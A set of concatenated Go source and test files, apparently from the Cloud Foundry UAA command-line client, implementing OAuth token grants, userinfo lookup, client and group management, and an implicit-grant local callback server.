extraHeaders := map[string]string{"If-Match": strconv.Itoa(userMetaVersion)}
_, err := AuthenticatedRequester{}.PatchJson(um.HttpClient, um.Config, url, "", user, extraHeaders)
return err
}
<file_sep>/cmd/get_authcode_token_test.go
package cmd_test
import (
. "code.cloudfoundry.org/uaa-cli/cmd"
"code.cloudfoundry.org/uaa-cli/cli"
"code.cloudfoundry.org/uaa-cli/config"
"code.cloudfoundry.org/uaa-cli/uaa"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
. "github.com/onsi/gomega/ghttp"
"net/http"
)
var _ = Describe("GetAuthcodeToken", func() {
var (
c uaa.Config
ctx uaa.UaaContext
logger cli.Logger
launcher TestLauncher
httpClient *http.Client
)
BeforeEach(func() {
c = uaa.NewConfigWithServerURL(server.URL())
config.WriteConfig(c)
ctx = c.GetActiveContext()
launcher = TestLauncher{}
logger = cli.NewLogger(GinkgoWriter, GinkgoWriter, GinkgoWriter, GinkgoWriter)
httpClient = &http.Client{}
})
It("updates the saved context with the user's access token", func() {
server.RouteToHandler("POST", "/oauth/token", CombineHandlers(
VerifyRequest("POST", "/oauth/token"),
RespondWith(http.StatusOK, `{
"access_token" : "<KEY>",
"refresh_token" : "<KEY>",
"token_type" : "bearer",
"expires_in" : 3000,
"scope" : "openid",
"jti" : "bc4885d950854fed9a938e96b13ca519"
}`),
VerifyFormKV("code", "ASDFGHJKL"),
VerifyFormKV("client_id", "shinyclient"),
VerifyFormKV("client_secret", "shinysecret"),
VerifyFormKV("grant_type", "authorization_code"),
VerifyFormKV("token_format", "jwt"),
VerifyFormKV("response_type", "token"),
VerifyFormKV("redirect_uri", "http://localhost:8080")),
)
doneRunning := make(chan bool)
imp := cli.NewAuthcodeClientImpersonator(httpClient, c, "shinyclient", "shinysecret", "jwt", "openid", 8080, logger, launcher.Run)
go AuthcodeTokenCommandRun(doneRunning, "shinyclient", imp, &logger)
// UAA sends the user to this redirect_uri after they auth and grant approvals
httpClient.Get("http://localhost:8080/?code=ASDFGHJKL")
<-doneRunning
Expect(launcher.Target).To(Equal(server.URL() + "/oauth/authorize?client_id=shinyclient&redirect_uri=http%3A%2F%2Flocalhost%3A8080&response_type=code"))
Expect(GetSavedConfig().GetActiveContext().AccessToken).To(Equal("<KEY>"))
Expect(GetSavedConfig().GetActiveContext().RefreshToken).To(Equal("<KEY>"))
Expect(GetSavedConfig().GetActiveContext().ClientId).To(Equal("shinyclient"))
Expect(GetSavedConfig().GetActiveContext().GrantType).To(Equal(uaa.GrantType("authorization_code")))
Expect(GetSavedConfig().GetActiveContext().TokenType).To(Equal("bearer"))
Expect(GetSavedConfig().GetActiveContext().Scope).To(Equal("openid"))
})
Describe("Validations", func() {
It("requires a client id", func() {
cfg := uaa.NewConfigWithServerURL("http://localhost:8080")
err := AuthcodeTokenArgumentValidation(cfg, []string{}, "secret", "jwt", 8001)
Expect(err).To(HaveOccurred())
Expect(err.Error()).To(ContainSubstring("Missing argument `client_id` must be specified."))
})
It("requires a client secret", func() {
cfg := uaa.NewConfigWithServerURL("http://localhost:8080")
err := AuthcodeTokenArgumentValidation(cfg, []string{"clientid"}, "", "jwt", 8001)
Expect(err).To(HaveOccurred())
Expect(err.Error()).To(ContainSubstring("Missing argument `client_secret` must be specified."))
})
It("requires a port", func() {
cfg := uaa.NewConfigWithServerURL("http://localhost:8080")
err := AuthcodeTokenArgumentValidation(cfg, []string{"clientid"}, "secret", "jwt", 0)
Expect(err).To(HaveOccurred())
Expect(err.Error()).To(ContainSubstring("Missing argument `port` must be specified."))
})
It("rejects invalid token formats", func() {
cfg := uaa.NewConfigWithServerURL("http://localhost:8080")
err := AuthcodeTokenArgumentValidation(cfg, []string{"clientid"}, "secret", "bogus-format", 8001)
Expect(err).To(HaveOccurred())
Expect(err.Error()).To(ContainSubstring(`The token format "bogus-format" is unknown. Available formats: [jwt, opaque]`))
})
It("requires a target to have been set", func() {
err := AuthcodeTokenArgumentValidation(uaa.NewConfig(), []string{"clientid"}, "secret", "jwt", 8001)
Expect(err).To(HaveOccurred())
Expect(err.Error()).To(ContainSubstring(MISSING_TARGET))
})
})
})
<file_sep>/uaa/me.go
package uaa
import (
"encoding/json"
"net/http"
)
type Userinfo struct {
UserId string `json:"user_id"`
Sub string `json:"sub"`
Username string `json:"user_name"`
GivenName string `json:"given_name"`
FamilyName string `json:"family_name"`
Email string `json:"email"`
PhoneNumber []string `json:"phone_number"`
PreviousLoginTime int64 `json:"previous_logon_time"`
Name string `json:"name"`
}
func Me(client *http.Client, config Config) (Userinfo, error) {
body, err := AuthenticatedRequester{}.Get(client, config, "/userinfo", "scheme=openid")
if err != nil {
return Userinfo{}, err
}
info := Userinfo{}
err = json.Unmarshal(body, &info)
if err != nil {
return Userinfo{}, parseError("/userinfo", body)
}
return info, nil
}
<file_sep>/cmd/get_client_credentials_token.go
package cmd
import (
"code.cloudfoundry.org/uaa-cli/config"
"code.cloudfoundry.org/uaa-cli/help"
"code.cloudfoundry.org/uaa-cli/uaa"
"errors"
"github.com/spf13/cobra"
"net/http"
)
func GetClientCredentialsTokenValidations(cfg uaa.Config, args []string, clientSecret string) error {
if err := EnsureTargetInConfig(cfg); err != nil {
return err
}
if len(args) < 1 {
return MissingArgumentError("client_id")
}
if clientSecret == "" {
return MissingArgumentError("client_secret")
}
return validateTokenFormatError(tokenFormat)
}
func GetClientCredentialsTokenCmd(cfg uaa.Config, httpClient *http.Client, clientId, clientSecret string) error {
ccClient := uaa.ClientCredentialsClient{ClientId: clientId, ClientSecret: clientSecret}
tokenResponse, err := ccClient.RequestToken(httpClient, cfg, uaa.TokenFormat(tokenFormat))
if err != nil {
return errors.New("An error occurred while fetching token.")
}
activeContext := cfg.GetActiveContext()
activeContext.GrantType = uaa.CLIENT_CREDENTIALS
activeContext.ClientId = clientId
activeContext.TokenResponse = tokenResponse
cfg.AddContext(activeContext)
config.WriteConfig(cfg)
log.Info("Access token successfully fetched and added to context.")
return nil
}
var getClientCredentialsTokenCmd = &cobra.Command{
Use: "get-client-credentials-token CLIENT_ID -s CLIENT_SECRET",
Short: "Obtain an access token using the client_credentials grant type",
Long: help.ClientCredentials(),
PreRun: func(cmd *cobra.Command, args []string) {
cfg := GetSavedConfig()
NotifyValidationErrors(GetClientCredentialsTokenValidations(cfg, args, clientSecret), cmd, log)
},
Run: func(cmd *cobra.Command, args []string) {
cfg := GetSavedConfig()
NotifyErrorsWithRetry(GetClientCredentialsTokenCmd(cfg, GetHttpClient(), args[0], clientSecret), cfg, log)
},
}
func init() {
RootCmd.AddCommand(getClientCredentialsTokenCmd)
getClientCredentialsTokenCmd.Flags().StringVarP(&clientSecret, "client_secret", "s", "", "client secret")
getClientCredentialsTokenCmd.Flags().StringVarP(&tokenFormat, "format", "", "jwt", "available formats include "+availableFormatsStr())
getClientCredentialsTokenCmd.Annotations = make(map[string]string)
getClientCredentialsTokenCmd.Annotations[TOKEN_CATEGORY] = "true"
}
<file_sep>/cmd/userinfo.go
package cmd
import (
"code.cloudfoundry.org/uaa-cli/cli"
"code.cloudfoundry.org/uaa-cli/help"
"code.cloudfoundry.org/uaa-cli/uaa"
"github.com/spf13/cobra"
"net/http"
)
func UserinfoValidations(cfg uaa.Config) error {
return EnsureContextInConfig(cfg)
}
func UserinfoCmd(client *http.Client, cfg uaa.Config, printer cli.Printer) error {
i, err := uaa.Me(GetHttpClient(), GetSavedConfig())
if err != nil {
return err
}
return cli.NewJsonPrinter(log).Print(i)
}
var userinfoCmd = cobra.Command{
Use: "userinfo",
Short: "See claims about the authenticated user",
Aliases: []string{"me"},
Long: help.Userinfo(),
PreRun: func(cmd *cobra.Command, args []string) {
NotifyValidationErrors(UserinfoValidations(GetSavedConfig()), cmd, log)
},
Run: func(cmd *cobra.Command, args []string) {
cfg := GetSavedConfig()
printer := cli.NewJsonPrinter(log)
err := UserinfoCmd(GetHttpClient(), cfg, printer)
NotifyErrorsWithRetry(err, cfg, log)
},
}
func init() {
RootCmd.AddCommand(&userinfoCmd)
userinfoCmd.Annotations = make(map[string]string)
userinfoCmd.Annotations[MISC_CATEGORY] = "true"
}
<file_sep>/cli/implicit_client_impersonator.go
package cli
import (
"code.cloudfoundry.org/uaa-cli/uaa"
"code.cloudfoundry.org/uaa-cli/utils"
"fmt"
"net/url"
"os"
"strconv"
)
type ClientImpersonator interface {
Start()
Authorize()
Done() chan uaa.TokenResponse
}
type ImplicitClientImpersonator struct {
ClientId string
TokenFormat string
Scope string
UaaBaseUrl string
Port int
Log Logger
AuthCallbackServer CallbackServer
BrowserLauncher func(string) error
done chan uaa.TokenResponse
}
const CallbackCSS = `<style>
@import url('https://fonts.googleapis.com/css?family=Source+Sans+Pro');
html {
background: #f8f8f8;
font-family: "Source Sans Pro", sans-serif;
}
</style>`
const implicitCallbackJS = `<script>
// This script is needed to send the token fragment from the browser back to
// the local server. Browsers remove everything after the # before issuing
// requests so we have to convert these fragments into query params.
var req = new XMLHttpRequest();
req.open("GET", "/" + location.hash.replace("#","?"));
req.send();
</script>`
const implicitCallbackHTML = `<body>
<h1>Implicit Grant: Success</h1>
<p>The UAA redirected you to this page with an access token.</p>
<p> The token has been added to the CLI's active context. You may close this window.</p>
</body>`
func NewImplicitClientImpersonator(clientId,
uaaBaseUrl string,
tokenFormat string,
scope string,
port int,
log Logger,
launcher func(string) error) ImplicitClientImpersonator {
impersonator := ImplicitClientImpersonator{
ClientId: clientId,
UaaBaseUrl: uaaBaseUrl,
TokenFormat: tokenFormat,
Scope: scope,
Port: port,
BrowserLauncher: launcher,
Log: log,
done: make(chan uaa.TokenResponse),
}
callbackServer := NewAuthCallbackServer(implicitCallbackHTML, CallbackCSS, implicitCallbackJS, log, port)
callbackServer.SetHangupFunc(func(done chan url.Values, values url.Values) {
token := values.Get("access_token")
if token != "" {
done <- values
}
})
impersonator.AuthCallbackServer = callbackServer
return impersonator
}
func (ici ImplicitClientImpersonator) Start() {
go func() {
urlValues := make(chan url.Values)
go ici.AuthCallbackServer.Start(urlValues)
values := <-urlValues
response := uaa.TokenResponse{
AccessToken: values.Get("access_token"),
TokenType: values.Get("token_type"),
Scope: values.Get("scope"),
JTI: values.Get("jti"),
}
expiry, err := strconv.Atoi(values.Get("expires_in"))
if err == nil {
response.ExpiresIn = int32(expiry)
}
ici.Done() <- response
}()
}
func (ici ImplicitClientImpersonator) Authorize() {
requestValues := url.Values{}
requestValues.Add("response_type", "token")
requestValues.Add("client_id", ici.ClientId)
requestValues.Add("scope", ici.Scope)
requestValues.Add("token_format", ici.TokenFormat)
requestValues.Add("redirect_uri", fmt.Sprintf("http://localhost:%v", ici.Port))
authUrl, err := utils.BuildUrl(ici.UaaBaseUrl, "/oauth/authorize")
if err != nil {
ici.Log.Error("Something went wrong while building the authorization URL.")
os.Exit(1)
}
authUrl.RawQuery = requestValues.Encode()
ici.Log.Info("Launching browser window to " + authUrl.String())
ici.BrowserLauncher(authUrl.String())
}
func (ici ImplicitClientImpersonator) Done() chan uaa.TokenResponse {
return ici.done
}
<file_sep>/cmd/refresh_token.go
package cmd
import (
"code.cloudfoundry.org/uaa-cli/cli"
"code.cloudfoundry.org/uaa-cli/config"
"code.cloudfoundry.org/uaa-cli/help"
"code.cloudfoundry.org/uaa-cli/uaa"
"code.cloudfoundry.org/uaa-cli/utils"
"errors"
"github.com/spf13/cobra"
"net/http"
)
func RefreshTokenCmd(cfg uaa.Config, httpClient *http.Client, log cli.Logger, tokenFormat string) error {
ctx := cfg.GetActiveContext()
refreshClient := uaa.RefreshTokenClient{
ClientId: ctx.ClientId,
ClientSecret: clientSecret,
}
log.Infof("Using the refresh_token from the active context to request a new access token for client %v.", utils.Emphasize(ctx.ClientId))
tokenResponse, err := refreshClient.RequestToken(httpClient, cfg, uaa.TokenFormat(tokenFormat), ctx.RefreshToken)
if err != nil {
return err
}
ctx.TokenResponse = tokenResponse
cfg.AddContext(ctx)
config.WriteConfig(cfg)
log.Info("Access token successfully fetched and added to active context.")
return nil
}
func RefreshTokenValidations(cfg uaa.Config, clientSecret string) error {
if err := EnsureContextInConfig(cfg); err != nil {
return err
}
if clientSecret == "" {
return MissingArgumentError("client_secret")
}
if cfg.GetActiveContext().ClientId == "" {
return errors.New("A client_id was not found in the active context.")
}
if GetSavedConfig().GetActiveContext().RefreshToken == "" {
return errors.New("A refresh_token was not found in the active context.")
}
return validateTokenFormatError(tokenFormat)
}
var refreshTokenCmd = &cobra.Command{
Use: "refresh-token -s CLIENT_SECRET",
Short: "Obtain an access token using the refresh_token grant type",
Long: help.RefreshToken(),
PreRun: func(cmd *cobra.Command, args []string) {
cfg := GetSavedConfig()
NotifyValidationErrors(RefreshTokenValidations(cfg, clientSecret), cmd, log)
},
Run: func(cmd *cobra.Command, args []string) {
cfg := GetSavedConfig()
NotifyErrorsWithRetry(RefreshTokenCmd(cfg, GetHttpClient(), log, tokenFormat), cfg, log)
},
}
func init() {
RootCmd.AddCommand(refreshTokenCmd)
refreshTokenCmd.Annotations = make(map[string]string)
refreshTokenCmd.Annotations[TOKEN_CATEGORY] = "true"
refreshTokenCmd.Flags().StringVarP(&clientSecret, "client_secret", "s", "", "client secret")
refreshTokenCmd.Flags().StringVarP(&tokenFormat, "format", "", "jwt", "available formats include "+availableFormatsStr())
}
<file_sep>/uaa/http_requester.go
package uaa
import (
"fmt"
"io/ioutil"
"net/http"
"net/url"
)
type Requester interface {
Get(client *http.Client, config Config, path string, query string) ([]byte, error)
Delete(client *http.Client, config Config, path string, query string) ([]byte, error)
PostForm(client *http.Client, config Config, path string, query string, body map[string]string) ([]byte, error)
PostJson(client *http.Client, config Config, path string, query string, body interface{}) ([]byte, error)
PutJson(client *http.Client, config Config, path string, query string, body interface{}) ([]byte, error)
}
type UnauthenticatedRequester struct{}
type AuthenticatedRequester struct{}
func is2XX(status int) bool {
if status >= 200 && status < 300 {
return true
}
return false
}
func addZoneSwitchHeader(req *http.Request, config *Config) {
req.Header.Add("X-Identity-Zone-Subdomain", config.ZoneSubdomain)
}
func mapToUrlValues(body map[string]string) url.Values {
data := url.Values{}
for key, val := range body {
data.Add(key, val)
}
return data
}
func doAndRead(req *http.Request, client *http.Client, config Config) ([]byte, error) {
if config.Verbose {
logRequest(req)
}
resp, err := client.Do(req)
if err != nil {
if config.Verbose {
fmt.Printf("%v\n\n", err)
}
return []byte{}, requestError(req.URL.String())
}
if config.Verbose {
logResponse(resp)
}
bytes, err := ioutil.ReadAll(resp.Body)
if err != nil {
if config.Verbose {
fmt.Printf("%v\n\n", err)
}
return []byte{}, unknownError()
}
if !is2XX(resp.StatusCode) {
return []byte{}, requestError(req.URL.String())
}
return bytes, nil
}
func (ug UnauthenticatedRequester) Get(client *http.Client, config Config, path string, query string) ([]byte, error) {
req, err := UnauthenticatedRequestFactory{}.Get(config.GetActiveTarget(), path, query)
if err != nil {
return []byte{}, err
}
addZoneSwitchHeader(req, &config)
return doAndRead(req, client, config)
}
func (ag AuthenticatedRequester) Get(client *http.Client, config Config, path string, query string) ([]byte, error) {
req, err := AuthenticatedRequestFactory{}.Get(config.GetActiveTarget(), path, query)
if err != nil {
return []byte{}, err
}
addZoneSwitchHeader(req, &config)
return doAndRead(req, client, config)
}
func (ug UnauthenticatedRequester) Delete(client *http.Client, config Config, path string, query string) ([]byte, error) {
req, err := UnauthenticatedRequestFactory{}.Delete(config.GetActiveTarget(), path, query)
if err != nil {
return []byte{}, err
}
addZoneSwitchHeader(req, &config)
return doAndRead(req, client, config)
}
func (ug AuthenticatedRequester) Delete(client *http.Client, config Config, path string, query string) ([]byte, error) {
req, err := AuthenticatedRequestFactory{}.Delete(config.GetActiveTarget(), path, query)
if err != nil {
return []byte{}, err
}
addZoneSwitchHeader(req, &config)
return doAndRead(req, client, config)
}
func (ug UnauthenticatedRequester) PostForm(client *http.Client, config Config, path string, query string, body map[string]string) ([]byte, error) {
data := mapToUrlValues(body)
req, err := UnauthenticatedRequestFactory{}.PostForm(config.GetActiveTarget(), path, query, &data)
if err != nil {
return []byte{}, err
}
addZoneSwitchHeader(req, &config)
return doAndRead(req, client, config)
}
func (ag AuthenticatedRequester) PostForm(client *http.Client, config Config, path string, query string, body map[string]string) ([]byte, error) {
data := mapToUrlValues(body)
req, err := AuthenticatedRequestFactory{}.PostForm(config.GetActiveTarget(), path, query, &data)
if err != nil {
return []byte{}, err
}
addZoneSwitchHeader(req, &config)
return doAndRead(req, client, config)
}
func (ug UnauthenticatedRequester) PostJson(client *http.Client, config Config, path string, query string, body interface{}) ([]byte, error) {
req, err := UnauthenticatedRequestFactory{}.PostJson(config.GetActiveTarget(), path, query, body)
if err != nil {
return []byte{}, err
}
addZoneSwitchHeader(req, &config)
return doAndRead(req, client, config)
}
func (ag AuthenticatedRequester) PostJson(client *http.Client, config Config, path string, query string, body interface{}) ([]byte, error) {
req, err := AuthenticatedRequestFactory{}.PostJson(config.GetActiveTarget(), path, query, body)
if err != nil {
return []byte{}, err
}
addZoneSwitchHeader(req, &config)
return doAndRead(req, client, config)
}
func (ug UnauthenticatedRequester) PutJson(client *http.Client, config Config, path string, query string, body interface{}) ([]byte, error) {
req, err := UnauthenticatedRequestFactory{}.PutJson(config.GetActiveTarget(), path, query, body)
if err != nil {
return []byte{}, err
}
addZoneSwitchHeader(req, &config)
return doAndRead(req, client, config)
}
func (ag AuthenticatedRequester) PutJson(client *http.Client, config Config, path string, query string, body interface{}) ([]byte, error) {
req, err := AuthenticatedRequestFactory{}.PutJson(config.GetActiveTarget(), path, query, body)
if err != nil {
return []byte{}, err
}
addZoneSwitchHeader(req, &config)
return doAndRead(req, client, config)
}
func (ug UnauthenticatedRequester) PatchJson(client *http.Client, config Config, path string, query string, body interface{}) ([]byte, error) {
req, err := UnauthenticatedRequestFactory{}.PatchJson(config.GetActiveTarget(), path, query, body)
if err != nil {
return []byte{}, err
}
addZoneSwitchHeader(req, &config)
return doAndRead(req, client, config)
}
func (ag AuthenticatedRequester) PatchJson(client *http.Client, config Config, path string, query string, body interface{}, extraHeaders map[string]string) ([]byte, error) {
req, err := AuthenticatedRequestFactory{}.PatchJson(config.GetActiveTarget(), path, query, body)
if err != nil {
return []byte{}, err
}
addZoneSwitchHeader(req, &config)
for k, v := range extraHeaders {
req.Header.Add(k, v)
}
return doAndRead(req, client, config)
}
<file_sep>/cmd/add_member.go
package cmd
import (
"code.cloudfoundry.org/uaa-cli/cli"
"code.cloudfoundry.org/uaa-cli/uaa"
"code.cloudfoundry.org/uaa-cli/utils"
"errors"
"github.com/spf13/cobra"
"net/http"
)
func AddMemberPreRunValidations(config uaa.Config, args []string) error {
if err := EnsureContextInConfig(config); err != nil {
return err
}
if len(args) != 2 {
return errors.New("The positional arguments GROUPNAME and USERNAME must be specified.")
}
return nil
}
func AddMemberCmd(httpClient *http.Client, config uaa.Config, groupName, username string, log cli.Logger) error {
gm := uaa.GroupManager{httpClient, config}
group, err := gm.GetByName(groupName, "")
if err != nil {
return err
}
um := uaa.UserManager{httpClient, config}
user, err := um.GetByUsername(username, "", "")
if err != nil {
return err
}
err = gm.AddMember(group.ID, user.ID)
if err != nil {
return err
}
log.Infof("User %v successfully added to group %v", utils.Emphasize(username), utils.Emphasize(groupName))
return nil
}
var addMemberCmd = &cobra.Command{
Use: "add-member GROUPNAME USERNAME",
Short: "Add a user to a group",
PreRun: func(cmd *cobra.Command, args []string) {
cfg := GetSavedConfig()
NotifyValidationErrors(AddMemberPreRunValidations(cfg, args), cmd, log)
},
Run: func(cmd *cobra.Command, args []string) {
cfg := GetSavedConfig()
NotifyErrorsWithRetry(AddMemberCmd(GetHttpClient(), cfg, args[0], args[1], log), cfg, log)
},
}
func init() {
RootCmd.AddCommand(addMemberCmd)
addMemberCmd.Annotations = make(map[string]string)
addMemberCmd.Annotations[GROUP_CRUD_CATEGORY] = "true"
}
<file_sep>/uaa/token_key_test.go
package uaa_test
import (
. "code.cloudfoundry.org/uaa-cli/uaa"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
"github.com/onsi/gomega/ghttp"
"net/http"
)
var _ = Describe("TokenKey", func() {
var (
server *ghttp.Server
client *http.Client
config Config
asymmetricKeyJson string
)
BeforeEach(func() {
server = ghttp.NewServer()
client = &http.Client{}
config = NewConfigWithServerURL(server.URL())
asymmetricKeyJson = `{
"kty": "RSA",
"e": "AQAB",
"use": "sig",
"kid": "sha2-2017-01-20-key",
"alg": "RS256",
"value": "-----<KEY>",
"n": "<KEY>"
}`
})
AfterEach(func() {
server.Close()
})
It("calls the /token_key endpoint", func() {
server.RouteToHandler("GET", "/token_key", ghttp.CombineHandlers(
ghttp.RespondWith(200, asymmetricKeyJson),
ghttp.VerifyRequest("GET", "/token_key"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
))
key, _ := TokenKey(client, config)
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(key.Kty).To(Equal("RSA"))
Expect(key.E).To(Equal("AQAB"))
Expect(key.Use).To(Equal("sig"))
Expect(key.Kid).To(Equal("sha2-2017-01-20-key"))
Expect(key.Alg).To(Equal("RS256"))
Expect(key.Value).To(Equal("-----<KEY>"))
Expect(key.N).To(Equal("<KEY>"))
})
It("returns helpful error when /token_key request fails", func() {
server.RouteToHandler("GET", "/token_key", ghttp.CombineHandlers(
ghttp.VerifyRequest("GET", "/token_key"),
ghttp.RespondWith(500, "error response"),
ghttp.VerifyRequest("GET", "/token_key"),
))
_, err := TokenKey(client, config)
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while calling"))
})
It("returns helpful error when /token_key response can't be parsed", func() {
server.RouteToHandler("GET", "/token_key", ghttp.CombineHandlers(
ghttp.VerifyRequest("GET", "/token_key"),
ghttp.RespondWith(200, "{unparsable-json-response}"),
ghttp.VerifyRequest("GET", "/token_key"),
))
_, err := TokenKey(client, config)
Expect(err).NotTo(BeNil())
Expect(err.Error()).To(ContainSubstring("An unknown error occurred while parsing response from"))
Expect(err.Error()).To(ContainSubstring("Response was {unparsable-json-response}"))
})
It("can handle symmetric keys", func() {
symmetricKeyJson := `{
"kty" : "MAC",
"alg" : "HS256",
"value" : "key",
"use" : "sig",
"kid" : "testKey"
}`
server.RouteToHandler("GET", "/token_key", ghttp.CombineHandlers(
ghttp.RespondWith(200, symmetricKeyJson),
ghttp.VerifyRequest("GET", "/token_key"),
ghttp.VerifyHeaderKV("Accept", "application/json"),
))
key, _ := TokenKey(client, config)
Expect(server.ReceivedRequests()).To(HaveLen(1))
Expect(key.Kty).To(Equal("MAC"))
Expect(key.Alg).To(Equal("HS256"))
Expect(key.Value).To(Equal("key"))
Expect(key.Use).To(Equal("sig"))
Expect(key.Kid).To(Equal("testKey"))
})
})
<file_sep>/uaa/clients.go
package uaa
import (
"code.cloudfoundry.org/uaa-cli/utils"
"encoding/json"
"errors"
"fmt"
"net/http"
"strings"
)
type ClientManager struct {
HttpClient *http.Client
Config Config
}
type UaaClient struct {
ClientId string `json:"client_id,omitempty"`
ClientSecret string `json:"client_secret,omitempty"`
Scope []string `json:"scope,omitempty"`
ResourceIds []string `json:"resource_ids,omitempty"`
AuthorizedGrantTypes []string `json:"authorized_grant_types,omitempty"`
RedirectUri []string `json:"redirect_uri,omitempty"`
Authorities []string `json:"authorities,omitempty"`
TokenSalt string `json:"token_salt,omitempty"`
AllowedProviders []string `json:"allowedproviders,omitempty"`
DisplayName string `json:"name,omitempty"`
LastModified int64 `json:"lastModified,omitempty"`
RequiredUserGroups []string `json:"required_user_groups,omitempty"`
AccessTokenValidity int64 `json:"access_token_validity,omitempty"`
RefreshTokenValidity int64 `json:"refresh_token_validity,omitempty"`
}
func errorMissingValueForGrantType(value string, grantType GrantType) error {
return errors.New(fmt.Sprintf("%v must be specified for %v grant type.", value, grantType))
}
func errorMissingValue(value string) error {
return errors.New(fmt.Sprintf("%v must be specified in the client definition.", value))
}
func requireRedirectUriForGrantType(c *UaaClient, grantType GrantType) error {
if utils.Contains(c.AuthorizedGrantTypes, string(grantType)) {
if len(c.RedirectUri) == 0 {
return errorMissingValueForGrantType("redirect_uri", grantType)
}
}
return nil
}
func requireClientSecretForGrantType(c *UaaClient, grantType GrantType) error {
if utils.Contains(c.AuthorizedGrantTypes, string(grantType)) {
if c.ClientSecret == "" {
return errorMissingValueForGrantType("client_secret", grantType)
}
}
return nil
}
func knownGrantTypesStr() string {
grantTypeStrings := []string{}
KNOWN_GRANT_TYPES := []GrantType{AUTHCODE, IMPLICIT, PASSWORD, CLIENT_CREDENTIALS}
for _, grant := range KNOWN_GRANT_TYPES {
grantTypeStrings = append(grantTypeStrings, string(grant))
}
return "[" + strings.Join(grantTypeStrings, ", ") + "]"
}
func (c *UaaClient) PreCreateValidation() error {
if len(c.AuthorizedGrantTypes) == 0 {
return errors.New(fmt.Sprintf("Grant type must be one of %v", knownGrantTypesStr()))
}
if c.ClientId == "" {
return errorMissingValue("client_id")
}
if err := requireRedirectUriForGrantType(c, AUTHCODE); err != nil {
return err
}
if err := requireClientSecretForGrantType(c, AUTHCODE); err != nil {
return err
}
if err := requireClientSecretForGrantType(c, PASSWORD); err != nil {
return err
}
if err := requireClientSecretForGrantType(c, CLIENT_CREDENTIALS); err != nil {
return err
}
if err := requireRedirectUriForGrantType(c, IMPLICIT); err != nil {
return err
}
return nil
}
type changeSecretBody struct {
ClientId string `json:"clientId,omitempty"`
ClientSecret string `json:"secret,omitempty"`
}
type PaginatedClientList struct {
Resources []UaaClient `json:"resources"`
StartIndex int `json:"startIndex"`
ItemsPerPage int `json:"itemsPerPage"`
TotalResults int `json:"totalResults"`
Schemas []string `json:"schemas"`
}
func (cm *ClientManager) Get(clientId string) (UaaClient, error) {
url := "/oauth/clients/" + clientId
bytes, err := AuthenticatedRequester{}.Get(cm.HttpClient, cm.Config, url, "")
if err != nil {
return UaaClient{}, err
}
uaaClient := UaaClient{}
err = json.Unmarshal(bytes, &uaaClient)
if err != nil {
return UaaClient{}, parseError(url, bytes)
}
return uaaClient, err
}
func (cm *ClientManager) Delete(clientId string) (UaaClient, error) {
url := "/oauth/clients/" + clientId
bytes, err := AuthenticatedRequester{}.Delete(cm.HttpClient, cm.Config, url, "")
if err != nil {
return UaaClient{}, err
}
uaaClient := UaaClient{}
err = json.Unmarshal(bytes, &uaaClient)
if err != nil {
return UaaClient{}, parseError(url, bytes)
}
return uaaClient, err
}
func (cm *ClientManager) Create(toCreate UaaClient) (UaaClient, error) {
url := "/oauth/clients"
bytes, err := AuthenticatedRequester{}.PostJson(cm.HttpClient, cm.Config, url, "", toCreate)
if err != nil {
return UaaClient{}, err
}
uaaClient := UaaClient{}
err = json.Unmarshal(bytes, &uaaClient)
if err != nil {
return UaaClient{}, parseError(url, bytes)
}
return uaaClient, err
}
func (cm *ClientManager) Update(toUpdate UaaClient) (UaaClient, error) {
url := "/oauth/clients/" + toUpdate.ClientId
bytes, err := AuthenticatedRequester{}.PutJson(cm.HttpClient, cm.Config, url, "", toUpdate)
if err != nil {
return UaaClient{}, err
}
uaaClient := UaaClient{}
err = json.Unmarshal(bytes, &uaaClient)
if err != nil {
return UaaClient{}, parseError(url, bytes)
}
return uaaClient, err
}
func (cm *ClientManager) ChangeSecret(clientId string, newSecret string) error {
url := "/oauth/clients/" + clientId + "/secret"
body := changeSecretBody{ClientId: clientId, ClientSecret: newSecret}
_, err := AuthenticatedRequester{}.PutJson(cm.HttpClient, cm.Config, url, "", body)
return err
}
func getResultPage(cm *ClientManager, startIndex, count int) (PaginatedClientList, error) {
query := fmt.Sprintf("startIndex=%v&count=%v", startIndex, count)
if startIndex == 0 {
query = ""
}
bytes, err := AuthenticatedRequester{}.Get(cm.HttpClient, cm.Config, "/oauth/clients", query)
if err != nil {
return PaginatedClientList{}, err
}
clientList := PaginatedClientList{}
err = json.Unmarshal(bytes, &clientList)
if err != nil {
return PaginatedClientList{}, parseError("/oauth/clients", bytes)
}
return clientList, nil
}
func (cm *ClientManager) List() ([]UaaClient, error) {
results, err := getResultPage(cm, 0, 0)
if err != nil {
return []UaaClient{}, err
}
clientList := results.Resources
startIndex, count := results.StartIndex, results.ItemsPerPage
for results.TotalResults > len(clientList) {
startIndex += count
newResults, err := getResultPage(cm, startIndex, count)
if err != nil {
return []UaaClient{}, err
}
clientList = append(clientList, newResults.Resources...)
}
return clientList, nil
}
<file_sep>/uaa/oauth_token_request.go
package uaa
import (
"encoding/json"
"net/http"
)
func postToOAuthToken(httpClient *http.Client, config Config, body map[string]string) (TokenResponse, error) {
bytes, err := UnauthenticatedRequester{}.PostForm(httpClient, config, "/oauth/token", "", body)
if err != nil {
return TokenResponse{}, err
}
tokenResponse := TokenResponse{}
err = json.Unmarshal(bytes, &tokenResponse)
if err != nil {
return TokenResponse{}, parseError("/oauth/token", bytes)
}
return tokenResponse, nil
}
type ClientCredentialsClient struct {
ClientId string
ClientSecret string
}
func (cc ClientCredentialsClient) RequestToken(httpClient *http.Client, config Config, format TokenFormat) (TokenResponse, error) {
body := map[string]string{
"grant_type": string(CLIENT_CREDENTIALS),
"client_id": cc.ClientId,
"client_secret": cc.ClientSecret,
"token_format": string(format),
"response_type": "token",
}
return postToOAuthToken(httpClient, config, body)
}
type ResourceOwnerPasswordClient struct {
ClientId string
ClientSecret string
Username string
Password string
}
func (rop ResourceOwnerPasswordClient) RequestToken(httpClient *http.Client, config Config, format TokenFormat) (TokenResponse, error) {
body := map[string]string{
"grant_type": string(PASSWORD),
"client_id": rop.ClientId,
"client_secret": rop.ClientSecret,
"username": rop.Username,
"password": <PASSWORD>,
"token_format": string(format),
"response_type": "token",
}
return postToOAuthToken(httpClient, config, body)
}
type AuthorizationCodeClient struct {
ClientId string
ClientSecret string
}
